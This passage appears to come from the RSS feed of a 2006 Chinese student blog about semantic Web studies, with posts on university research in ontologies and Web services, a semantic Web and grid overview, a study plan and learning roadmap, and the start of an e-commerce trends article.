<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; LINE-HEIGHT: 125%"><SPAN lang=EN-US style="FONT-SIZE: 9pt; LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'"><SPAN style="mso-tab-count: 1"><FONT size=2>&nbsp;&nbsp;&nbsp;&nbsp; </FONT></SPAN></SPAN><SPAN style="COLOR: black; FONT-FAMILY: 宋体; mso-hansi-font-family: Arial"><FONT size=2>浙江大学在<SPAN lang=EN-US>Web</SPAN>信息的知识表示方面进行了研究，针对<SPAN lang=EN-US>Web</SPAN>上信息的不同性质分别在基于认知逻辑的语义表达模型，基于时态逻辑的流程语义表达模型和媒体流数据（非文本型数据）的语义表达或描述方法方面展开了研究。</FONT><SPAN lang=EN-US><FONT size=2> </FONT>
<P><FONT size=2></FONT></P></SPAN></SPAN>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><SPAN style="FONT-FAMILY: 宋体"><FONT size=2>在基于本体的应用研究中，浙江大学建立了国内第一个基于语义的数据库网格，支持网格环境下数据库资源的动态化的语义注册、分布式的语义查询和知识级的语义浏览。初步建立中医药本体库，为一体化语言系统提供基础；并且基于语义<SPAN lang=EN-US>Web</SPAN>，开发成功具有本体论推理服务的语义浏览器。</FONT><SPAN lang=EN-US><FONT size=2> </FONT>
<P><FONT size=2></FONT></P></SPAN></SPAN>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><FONT size=2><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">在本体支撑平台的关键技术研究中，清华大学研究并实现了一个基于</SPAN><FONT face=宋体><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">的分布式本体系统（</SPAN><SPAN lang=EN-US>WODOS</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">），其中对本体的分布性、语言支持、本体粒度以及推理集成问题进行了深入研究。</SPAN></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><FONT size=2><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">在</SPAN><FONT face=宋体><SPAN lang=EN-US>ISO SC32</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">国际标准“</SPAN><SPAN lang=EN-US>MMF(Meta Model Framework) for Ontology</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">”的研制过程中，武汉大学提出了本体的元模型承诺的理论与方法、并且得到了国际同行的承认与支持、正在承担着</SPAN><SPAN lang=EN-US>ISO <CHSDATE w:st="on" isrocdate="False" islunardate="False" day="30" month="12" year="1899"></CHSDATE>1.32.22.01.03.00</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">国际标准化项目；进行了基于元模型的</SPAN><SPAN lang=EN-US>MDA(Model Driven Architecture)</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">编译方法研究，为解决语义</SPAN><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">中语义层面的互操作性问题提供了理论与新方法。</SPAN></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体"><FONT size=2>中国科技大学在基于本体的语义建模、本体演化等方面进行了深入的研究。</FONT><SPAN lang=EN-US><FONT size=2> </FONT>
<P><FONT size=2></FONT></P></SPAN></SPAN>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P><FONT face=宋体 size=2></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><FONT face=宋体 size=2></FONT><SPAN lang=EN-US style="FONT-FAMILY: 宋体">
<P><FONT size=2>&nbsp;</FONT></SPAN><FONT face=宋体><FONT size=2><SPAN lang=EN-US style="FONT-SIZE: 12pt; LINE-HEIGHT: 173%; mso-bidi-font-size: 16.0pt">2. Web</SPAN><SPAN style="FONT-SIZE: 12pt; LINE-HEIGHT: 173%; FONT-FAMILY: 黑体; mso-bidi-font-size: 16.0pt; mso-ascii-font-family: Arial">服务基础理论研究</SPAN></FONT></FONT><SPAN lang=EN-US style="FONT-SIZE: 12pt; LINE-HEIGHT: 173%; mso-bidi-font-size: 16.0pt"><FONT face=宋体 size=2> </FONT></P>
<P></SPAN><FONT size=2><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">&nbsp;&nbsp;&nbsp; 语义</SPAN><FONT face=宋体><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">服务将建立基于本体的服务描述、发现和自动组装，实现自动化和智能化的</SPAN><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">服务。在语义</SPAN><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">服务方面的研究有：</SPAN></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><FONT size=2><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">武汉大学提出了本体元建模的理论与方法；向</SPAN><FONT face=宋体><SPAN lang=EN-US>ISO</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">国际标准组织提交了本体的</SPAN><SPAN lang=EN-US>UML</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">承诺方法与</SPAN><SPAN lang=EN-US>UML Profile for OWL</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">标准方案的文本；在语义</SPAN><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">服务中信息注册、信息资源库组织与管理的平台研究方面，他们研究开发了基于</SPAN><SPAN lang=EN-US>ebXML/OASIS,ISO 11179(MDR)</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">国际标准的软构件资源库</SPAN><SPAN lang=EN-US>R&amp;R</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">的</SPAN><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">服务与管理平台的原型。</SPAN></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><FONT size=2><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">浙江大学在分布式网络中间件和数据库共享中间件方面进行了长期的研究，在面向</SPAN><FONT face=宋体><SPAN lang=EN-US>WEB</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">的分布式工作流管理方面取得了一些有益的成果，从</SPAN><SPAN lang=EN-US>2002</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">年，开始研究面向服务的工作流技术，探索网格环境下的分布式工作流的体系结构；提出并实现了一个实现了一个基于语义的可扩展的信息网格平台，定义并实现了一组面向互联网的知识服务。</SPAN></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><FONT size=2><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">复旦大学在建立基于</SPAN><FONT face=宋体><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">服务的物流管理系统方面进行了研究。</SPAN></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><FONT size=2><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">在</SPAN><FONT face=宋体><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">服务的关键技术研究中，清华大学结合基于</SPAN><SPAN lang=EN-US>J2EE</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">＋</SPAN><SPAN lang=EN-US>XML</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">架构的旅游电子商务平台罗盘网（</SPAN><SPAN lang=EN-US>www.luopan.com</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">），目前已在不同程度上实现了</SPAN><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">服务，可实现行业内合作伙伴间的服务共享开发。目前，他们正在研究基于本体</SPAN><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">服务自动发现和首先领域中语义</SPAN><SPAN lang=EN-US>Web</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-hansi-font-family: 'Times New Roman'; mso-ascii-font-family: 'Times New Roman'">服务自动实现机制进行研究。</SPAN></FONT></FONT></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt; LINE-HEIGHT: 125%"><FONT size=2><SPAN style="COLOR: black; FONT-FAMILY: 宋体; mso-hansi-font-family: Arial">中科院计算所</SPAN><SPAN style="LINE-HEIGHT: 125%; FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt">分析了目前服务描述语言<SPAN lang=EN-US>CDL</SPAN>、<SPAN lang=EN-US>SDL</SPAN>和<SPAN lang=EN-US>LARKS</SPAN>等存在的不足，并结合<SPAN lang=EN-US>Web</SPAN>服务、语义<SPAN lang=EN-US>Web</SPAN>服务和<SPAN lang=EN-US>Grid</SPAN>服务等特点，提出了一种带语义、继承以及支持协商机制的服务描述语言<SPAN lang=EN-US>SDLSIN</SPAN>。在<SPAN lang=EN-US>SDLSIN</SPAN>的基础上，研究了动态服务匹配问题，提出了四种类型的服务匹配算法，即基于语法的近似服务匹配算法、基于语义的近似服务匹配算法、精确服务匹配算法和插入服务匹配算法。另外，我们利用描述逻辑有效的推理功能，特别是它对概念包含关系的有效判断，把它与服务管理结合起来。充分利用描述逻辑具有清晰模型<SPAN lang=EN-US>-</SPAN>理论语义和有效的概念分层推理服务等功能，提出了基于描述逻辑的服务匹配算法，详细研究了如何利用描述逻辑的理论和推理机制来实现自动的服务分层及服务匹配，并提出了五种服务匹配算法，即主体服务匹配算法、强服务匹配算法、<SPAN lang=EN-US>K-</SPAN>近邻服务匹配算法<SPAN lang=EN-US>K-</SPAN>近似服务匹配算法和<SPAN lang=EN-US>m-</SPAN>近邻<SPAN lang=EN-US>n-</SPAN>近似服务匹配算法。这些方法都是基于语义的服务匹配，利用服务分层机制实现了有效和高效的服务匹配，克服了基于语义距离进行服务匹配的不足。同时，为了正确匹配到用户最满意的主体，提出了一个服务质量（<SPAN lang=EN-US>Quality of Service</SPAN>，<SPAN lang=EN-US>QoS</SPAN>）模型，该模型比较客观的反映了服务非功能属性的特征，并研究了该<SPAN lang=EN-US>QoS</SPAN>模型上的各种计算和评价方法。在<SPAN lang=EN-US>QoS</SPAN>模型的基础上，研究了一种<SPAN lang=EN-US>QoS</SPAN>驱动的服务匹配算法，该算法克服了<SPAN lang=EN-US>K Sycara</SPAN>、<SPAN lang=EN-US>K Arisha</SPAN>、<SPAN lang=EN-US>G J Wickler</SPAN>和<SPAN lang=EN-US>Z Zhang</SPAN>等人提出的服务匹配算法中存在的不足。</SPAN></FONT><SPAN lang=EN-US style="LINE-HEIGHT: 125%; mso-bidi-font-size: 10.5pt"><FONT face=宋体 size=2> </FONT>
<P><FONT size=2></FONT></P></SPAN>
<P><FONT size=2></FONT></P>
<P><FONT size=2></FONT></P>
<P><FONT size=2></FONT></P><BR>]]></description>
</item><item>
<title><![CDATA[today]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=11131</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/1/9 20:38:23</pubDate>
<description><![CDATA[<P><A><IMG src="http://blogger.org.cn/blog/images/emot/face1.gif">　</A>终于在作出计划的第一天认真了一把</P>
<P>上网搜索了一些关于语义Web的资料，很偶然地进到IBM的网站，本科的时候可这是偶主要的信息来源地，后来很久没去，原因是资料跟不上技术发展的脚步。今天却意外发现多出很多很好的资料。</P>
<P>按教程仔细研究了XML，发现实验是必不可少的东东，看了再多不实践体会不到精髓。</P>
<P>听说开题报告可能要修改，略有点慌张，希望顺利。</P>
<P>一个晚上在研究网上订车票的问题，过年回家不容易啊~</P>]]></description>
</item><item>
<title><![CDATA[2006年的学习计划]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=11110</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/1/9 12:56:56</pubDate>
<description><![CDATA[<P>　2006年是关键的一年，为了不重蹈上年的覆辙，我要好好规划一下。</P>
<P>1。公务员考试，终于可以提到日程上来了，10个月的时间，从现在就开始</P>
<P>2。认真学好一门编程语言，做导师的项目，向小夏等请教。</P>
<P>3。英语，任何时候都不能放弃的学习，现在开始要更加认真，加强力度</P>
<P>4。CRM，争取听些讲座，深入地学习</P>
<P>5。争取再完成一到两篇小论文，如果可能的话，专业学习一天都不能放松</P>
<P>6。想要完成以上几点，必须克服贪睡的坏习惯，还有就是少看电视。</P>
<P>只要下定决心，就一定做的到。</P>
<P>小乔，加油！</P>]]></description>
</item><item>
<title><![CDATA[语义Web和语义网格概述]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=11109</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/1/9 12:52:41</pubDate>
<description><![CDATA[<STRONG>语义Web概述 <BR><BR></STRONG>&nbsp;&nbsp;&nbsp;&nbsp;现有互联网的飞速发展使它的缺陷逐渐暴露了出来，如网页功能单调、搜索引擎智能化程度低等，这是因为大部分Web上的内容是设计给人阅读的，而不是让计算机程序按其意义进行操作的。计算机能熟练地解析网页的版面，知道哪里是标题，哪里有与其他页面的链接。但是，它分辨不出个人主页和天气预报的区别，因为没有可靠的方法来处理其中的语义，没有办法智能地理解网页内容和进行操作。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;语义Web就是想弥补这方面的不足,为网页扩展了计算机可处理的语义信息。语义Web中，各种资源被人为地赋予了各种明确的语义信息，计算机可以分辨和识别这些语义信息，并对其自动进行解释、交换和处理。但是语义Web与人工智能中的语义网络是两个不同的概念，它的研究对象和所采用的方法与传统自然语言处理也是不同的，它对现有的Web进行了语义扩展，从而使其能被计算机做一定的理解和处理，从功能上看它将是一个能够“理解”人类信息的智能网络。将语义Web融入现在Web结构的初步努力已经在进行中了。不久的将来，当机器有更强的能力去处理和“理解”数据时，我们将看到很多重要的新功能。例如，某人想报名参加一个研讨会，计算机就可自动地为其制定最佳日程和路线以及预定酒店等。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;互联网的创始人Tim Berners-Lee在2000年提出了语义Web的概念和体系结构。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;在其体系结构中,第一层是Unicode和URI，它是整个语义Web的基础，Unicode（统一编码）处理资源的编码，URI（统一资源定位器）负责标识资源；第二层是XML＋名空间＋XML模式，用于表示数据的内容和结构；第三层是RDF＋RDF模式，用于描述资源及其类型；第四层是本体词汇，用于描述各种资源之间的联系；第五层是逻辑，在下面四层的基础上进行逻辑推理操作；第六层是验证，根据逻辑陈述进行验证以得出结论；第七层是信任，在用户间建立信任关系。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;第二、三、四层是语义Web的关键层，用于表示Web信息的语义，也是现在语义Web研究的热点所在。可扩展标记语言XML (eXtensible Markup Language)让每个人都能创建自己的标签，来对网页或页面的部分文字进行注释。 脚本，或者说是程序，可以将这些标签运用到复杂的应用中，不过程序编写者必须知道网页作者是如何使用每一个标签的。简而言之，XML允许用户在文档中加入任意的结构。资源描述框架RDF （Resource Description Framework ）的基本结构是对象-属性-值三元组，也就相当于句子中的主语、动词和宾语。这些三元组可以用XML语法来表示。用这种结构描述由机器处理的大量数据，是非常自然的方法。RDF模式是一个描述RDF资源的属性（Property）和类（Class）的词汇表，提供了关于这些属性和类的层次结构的语义。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;因为两个系统可能采用不同的标识符表示同一概念，也可能用一个标识符表示不同的含义，程序若要在两个数据库之间进行信息的比较和合并，就必须了解某些标识符表示的是否是同一事物。对该问题的一个解决方法就是本体论(Ontology)。本体是概念化的显式说明，包括分类和一套推理规则。分类定义对象的类别及其之间的关系，使我们能够表达实体之间的大量关系，而根据推理规则，程序可以进行自动推理。简单地说，就是在不同的系统间定义一本字典或者度量表，使它们对实体及其之间的关系达成共识，以便交流和共享。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;语义Web需要能够对Web文档中的术语含义进行形式化描述。DAML+OIL（即DARPA代理标记语言+本体推论语言），OWL（Web本体语言），它们是W3C规范的重要扩充和改进，都是建立在人工智能知识表示基础之上的本体语言，提供了一种自然方式来描述在Web词间的类与子类之间的关系，以及在类与类之间（或子类与子类之间）关系上的限制。它们比RDF模式添加了更多的用于描述属性和类的词汇，例如类之间的不相交性（Disjointness）、等价性、更丰富的属性类型、属性特征等。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;当然，要实现语义Web是远远不够的，更主要的技术难题还在于要让电脑可以进行更多的“思考”和“推断”。为使语义Web工作，计算机必须能访问结构化的信息集合以及一套推理规则，据此进行自动推理。增加逻辑性——使用规则去推理，选择行动的方式以及回答问题的方法——是语义Web组织面临的一个任务。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;有了大量富含语义信息的网页，就好像有了一个巨大的全球互联的数据库。有了语义信息的帮助，人们开发出的软件代理Agent程序的智能和自动化将大大提高，它们从不同的资源中收集网页内容，搜索和处理信息并和其他程序交换信息，真正发挥语义Web的力量。当出现更多的机器可处理的网页内容和服务（包括更多的代理）时，通过代理之间的信息交换和协同工作，信息处理的效率将呈指数级增长，能更好地满足用户的需求。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;<B>网 格</B> <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;网格是一种新兴的技术，正处在不断发展和变化当中。简单地说，网格是一种信息社会的网络基础设施，是利用互联网把分散在不同地理位置上的多个资源，包括计算资源、存储资源、通信资源、软件资源、信息资源、知识资源等全面连通和统一分配、管理及协调起来，通过逻辑关系组成一台“虚拟的超级计算机”。这台机器把每一台参与其中的、包括个人电脑在内的计算机都作为自己的一个“节点”，成千上万个这样的“节点”并联起来，就组成了“一张有超级计算能力的网格”。而每一位将自己的计算机连接到网格上的用户，也就“拥有了”这架超级计算机，可以随时随地调用其中的计算和信息资源，在获得一体化信息服务的同时，最大程度地实现资源共享。网格计算模式首先把要计算的数据分割，然后不同节点的计算机可以根据自己的处理能力下载一个或多个数据片断。只要位于某个节点的计算机的用户不使用计算机时，就会调动闲置的计算能力。网格的优势在于不但数据处理能力超强，而且能充分利用网上的闲置处理能力来节约计算成本，实现资源的共享，消除资源孤岛。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;网格计算技术首先出现在科研领域的大型科学计算和项目研究中，医药、制造、气象、勘探等需要大型计算机功能的行业将首批成为这一技术的受益者，随着连接到网格系统上的计算资源的增加，网格计算技术也会造福于小企业和消费者，家庭PC用户也将能够用上公、私机构提供的更快、更廉价的服务，到那时任何设备可以在任何地方接入以享用某种层次的资源，而不必关心这些资源是从那里来的, 就像用现在的电网一样。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;美国自然科学基金于1997年启动了高级计算框架计划（PACI），欧盟于2000年和2001年分别启动了EuroGrid和DataGrid。2001年全球网格论坛（Global Grid Forum）成立, 这是一个规范网格研究，制定网格标准的国际组织。就像TCP/IP协议是Internet的核心一样，构建网格也需要对标准协议和服务进行定义。迄今为止，网格还没有正式的标准，但在核心技术上，相关机构与企业已达成一致：由美国Argonne国家实验室与南加州大学信息科学学院(ISI)合作开发的Globus Toolkit已成为网格计算事实上的标准。企业界的网格相关研究开发工作中，最重要的就是Web服务。目前，一些业界巨头已经就几个底层标准协议达成了共识，包括XML、SOAP、WSDL、UDDI等。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;<B>语义网格</B> <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;结合语义Web、网格和Web服务的优点和弥补各自的不足，研究人员提出了语义网格的概念。附图表明了Web、网格、语义Web和语义网格的关系，网格是Web在计算能力上的提升，而语义网格是网格在语义能力上的扩展；从另一个角度说，语义Web是在现有Web上增强了语义能力，而语义网格是语义Web对计算能力的扩展。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;在英国的e-Science计划研究中，人们发现，网格的现有努力和e-Science设想之间存在差距，要达到e-Science的易用性和无缝自动化要求，必须实现尽量多的机器可处理性和尽量少的人类介入，这却和语义Web的目标有一些相似，于是在2001年最先提出了语义网格的构想，并且于2002年在全球网格论坛GGF成立了语义网格研究组SEM-GRD。他们的语义网格构想的关键之处就是把所有的资源，包括服务，都用一种机器可处理的方式来描述，其目标是实现语义的互操作性。达到这个目标的一种实现方法是把语义Web的技术应用到网格计算的开发中，下至基础设施上至网格应用。值得注意的是“语义”是从下到上弥漫在整个网格中而不是仅仅在其上增加了一个语义（知识）层。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;中国科学院计算技术研究所知识网格研究组在诸葛海研究员的带领下正在开展语义网格方面的研究，通过采用新的计算模式和新的资源组织和管理的模型，可有效地辅助用户进行资源获取、共享、管理、协同工作和决策等，为人们提供更深层、更全面、更智能的服务。重点解决三个科学问题：资源的规范组织、语义互联和智能聚合。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;·规范组织。提出资源空间模型和资源的规范化组织和管理的理论、方法、技术和工具，使各种无序资源（信息、知识和服务）规范组织，使用户和服务能够有效、正确地根据语义操作各种资源，以提高资源的使用效率。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;·语义互联。通过多层语义互联和单一语义映像，使分布在全球的各种网络资源在语义层上互联，消除资源孤岛，主要通过类型化的语义链网络来使资源的语义能被机器所理解。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;·智能聚合。解决如何使资源能够互相理解，根据用户的需求有效、动态、智能地聚合各种资源，这主要通过软设备来实现。 <BR><BR>
<CENTER><IMG src="http://media.ccidnet.com/media/ciw/img/1372/d0101t01.jpg"><BR>语义Web的概念和体系结构 <BR><BR><IMG src="http://media.ccidnet.com/media/ciw/img/1372/d0101t02.jpg"><BR>Web、网格、语义Web和语义网格的关系</CENTER>]]></description>
</item><item>
<title><![CDATA[专业学习]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=11063</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/1/7 18:08:35</pubDate>
<description><![CDATA[<P>语义Web的学习</P>
<P>这个领域的入门路线是这样的：Web的基础知识（easy）——》XML，XML&nbsp;Schema——》RDF（S）（这些都是重要的基础）——》Ontology（重点之重点）——》接着是Description&nbsp;Logic（Semantic&nbsp;Web智能的形式化基础）——》Semantic&nbsp;web&nbsp;Language，包括经典的DAML+OIL,SHOE，尤其是现在W3C的标准OWL——》然后在学习的过程找到结合这些技术的具体研究方向。<BR>这应该是这个方向初学者应该掌握的东西。<BR></P>
<DIV>入门第一步：看些介绍新的文章，如科学美国人的那篇<BR>入门第二步：看RDF,OWL规范:&nbsp;rdf&nbsp;primer&nbsp;-&gt;&nbsp;rdf&nbsp;concept&nbsp;-&gt;&nbsp;rdf&nbsp;/xml&nbsp;syntax&nbsp;-&gt;&nbsp;rdf&nbsp;schema&nbsp;-&gt;rdf&nbsp;semantics<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;owl&nbsp;overview&nbsp;-&gt;owl&nbsp;guide&nbsp;-&gt;&nbsp;owl&nbsp;refernce&nbsp;-&gt;&nbsp;owl&nbsp;semantics 
<P></P>
<P>入门第三步：看论文:&nbsp;ISWC&nbsp;proceeding,&nbsp;WWWC&nbsp;semantic&nbsp;web&nbsp;track<BR>....</P></DIV>]]></description>
</item><item>
<title><![CDATA[全球电子商务的发展趋势及对我们的启示]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=11060</link>
<author>xiaoqiao_xml</author>
<pubDate>2006/1/7 16:37:20</pubDate>
<description><![CDATA[电子商务是由计算机、通信网络及程序化、标准化的商务流程和一系列安全、认证法律体系组成的集合；是一种以互联网为基础、以交易双方为主体、以银行电子支付和结算为手段、以客户数据为依托的全新商务模式。根据交易主体的不同，电子商务可分为9种模式，其中B2C（企业对消费者）、B2B（企业对企业）、G2B（政府对企业）三种模式发展迅速。&nbsp;<BR>　　电子商务一诞生就以超常速发展，销售额成倍增长。1994年全球电子商务销售额仅为12亿美元，1997年即达到26亿美元，1998年销售额竟高达500亿美元，比1997年增长了近20倍。2000年更猛增到3000亿美元。&nbsp;<BR>　　同时，电子商务交易额的增长也十分迅猛。北美地区在线零售额以每年翻三番的速度增长。欧洲的电子商务虽比美国起步晚了18个月，但不甘落后，奋起直追。据Forrester&nbsp;Research的报告预测：从2000年到2004年，欧洲国家的电子商务贸易总额将以每年100%的速度增长，并在此后4年内达到贸易总额16000亿欧元的水平，约占欧洲贸易总额的6%。亚太地区信息产业发达的日本、新加坡和韩国，电子商务发展也是如火如荼。&nbsp;<BR>　　电子商务的规模更是急剧扩大。1994年以来，全球Internet用户平均每月增加100万户，为电子商务的使用和普及奠定了良好的客户基础，近几年无论从客户基础还是网上交易额都出现了惊人的变化，<BR>　　全球电子商务在1998年的376亿美元的基础上，交易额直线攀升，2001年为5500亿美元，到2003年将达到10000亿美元，约占全球商业贸易总额的10%左右。&nbsp;<BR>　　这一切足可证明，电子商务代表世界贸易发展的方向，具有强大的生命力，发展电子商务是大势所趋。<BR>全球电子商务发展新气象 
<P></P>
